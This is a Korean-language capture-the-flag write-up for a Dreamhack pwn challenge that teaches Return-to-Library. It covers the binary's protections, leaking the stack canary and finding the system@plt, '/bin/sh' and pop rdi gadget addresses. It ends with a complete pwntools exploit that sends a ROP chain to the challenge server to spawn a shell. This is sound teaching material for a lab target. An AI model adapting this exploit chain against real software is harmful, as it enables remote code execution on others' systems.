Return to Library (RTL)

NX blocks shellcode, so the return address goes to a libc function instead. PIE is off, so the offsets hold.

2026.08.18 Pwn original post

이번 문제에서는 NX를 우회하는 공격 기법으로 널리 알려진 Return To Library(RTL)를 학습합니다.

Figure 1

첫 번째로 checksec 를 사용해 보호기법을 훑어봅시다. 여기서 ASLR 이 언급되지 않는다면, 적용된 것으로 이해하면 됩니다. 하지만 PIE 가 꺼져 있는 실행 파일은 ASLR 이 켜져 있어도 메인 바이너리의 코드 세그먼트와 데이터 세그먼트 주소가 고정됩니다.

ASLR ON + PIE OFF
  → libc, stack, heap 등은 랜덤화될 수 있음
  → 하지만 메인 바이너리의 코드/데이터 주소는 고정
  → 바이너리 안의 "/bin/sh" 주소도 고정

ASLR ON + PIE ON
  → 메인 바이너리 자체도 랜덤화
  → "/bin/sh" 주소도 매번 바뀜

Figure 2

일단 카나리부터 구합시다. %s 는 문자열을 출력할 때 null byte 인 \x00 을 만날 때까지 계속 출력합니다. 그래서 여기서는 buf 시작 주소부터 canary 시작 위치까지를 구해야 합니다.

(rbp - 0x8) - (rbp - 0x40) = 0x38 = 56

즉 10진수로 56… 카나리의 시작인 \x00 를 덮으려면 A * 57 를 해야 한다는 것을 알 수 있습니다. 일단 카나리 먼저:

Figure 3

지금부터 RTL 을 사용합니다. NX 가 켜져 있으면 stack 에 넣은 shellcode 를 실행하는 방식은 안 됩니다. 하지만 지금 말한 방식은 shellcode 실행이 아니라 이미 존재하는 코드인 system() 을 재사용하는 RTL / ROP 방식입니다. 그래서 NX 를 우회할 수 있습니다. 핵심 차이는 이겁니다.

일반 stack shellcode 공격:

buf 안에 shellcode를 넣음
  → return address를 buf 주소로 덮음
  → stack의 코드를 실행
  → NX 때문에 막힘

반면에 지금 방식은 RTL / ROP 공격:

stack에는 shellcode를 넣지 않음
  → return address를 system@plt 주소로 덮음
  → 이미 실행 가능한 코드 영역의 system()을 호출
  → 인자로 "/bin/sh" 주소 전달
  → NX와 직접 충돌하지 않음

현재 필요한 값은 4개입니다: canary, system@plt 주소, “/bin/sh” 주소, ret gadget 주소.

pop rdi; ret 가 필요하냐면, 64-bit Linux 에서는 함수 첫 번째 인자를 rdi 레지스터로 전달합니다. 즉 system("/bin/sh") 를 호출하려면 rdi = "/bin/sh" 주소, rip = system@plt 가 되어야 합니다.

일단 0x0000000000400754 <+93>: call 0x4005d0 <system@plt> 이므로 system@plt 의 주소는 0x4005d0.

/bin/sh 는 전역 변수로 들어가 있습니다.

const char* binsh = "/bin/sh";

PIE 가 꺼져 있다면 이 주소는 고정입니다. gdb 에서 이렇게 확인하면 됩니다.

(gdb) p &binsh
(gdb) p binsh
(gdb) x/s binsh

주의할 점은 &binshbinsh 가 다릅니다.

  • &binsh = binsh 포인터 변수 자체의 주소
  • binsh = “/bin/sh” 문자열이 있는 주소

공격에 필요한 것은 binsh 값, 즉 “/bin/sh” 문자열 주소입니다.

Figure 4

0x400874.

이제 리턴 가젯을 찾아야 합니다. 터미널에서 보통 이렇게 찾습니다.

ROPgadget --binary ./rtl | grep "pop rdi"
# 또는
ropper --file ./rtl --search "pop rdi"

예를 들어 결과가 이렇게 나오면:

0x0000000000400853 : pop rdi ; ret

그러면 pop_rdi = 0x400853 입니다.

Figure 5

from pwn import *

context.arch = "amd64"
context.os = "linux"

e = ELF("./rtl")

HOST = "host3.dreamhack.games"
PORT = 8390
p = remote(HOST, PORT)

system_plt = e.plt["system"]
binsh = 0x400874

rop = ROP(e)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret     = rop.find_gadget(["ret"])[0]

log.info(f"system@plt = {hex(system_plt)}")
log.info(f"pop rdi    = {hex(pop_rdi)}")
log.info(f"ret        = {hex(ret)}")
log.info(f"binsh      = {hex(binsh)}")

# 1. leak canary
p.recvuntil(b"Buf: ")
payload = b"A" * 0x39
p.send(payload)

p.recvuntil(b"A" * 0x39)
leak = p.recvn(7)
cnry = u64(b"\x00" + leak)
log.success(f"canary = {hex(cnry)}")

# 2. exploit
p.recvuntil(b"Buf: ")
payload  = b"A" * 0x38
payload += p64(cnry)
payload += b"B" * 0x8
payload += p64(ret)          # stack alignment
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

p.send(payload)
p.sendline(b"cat flag")
p.interactive()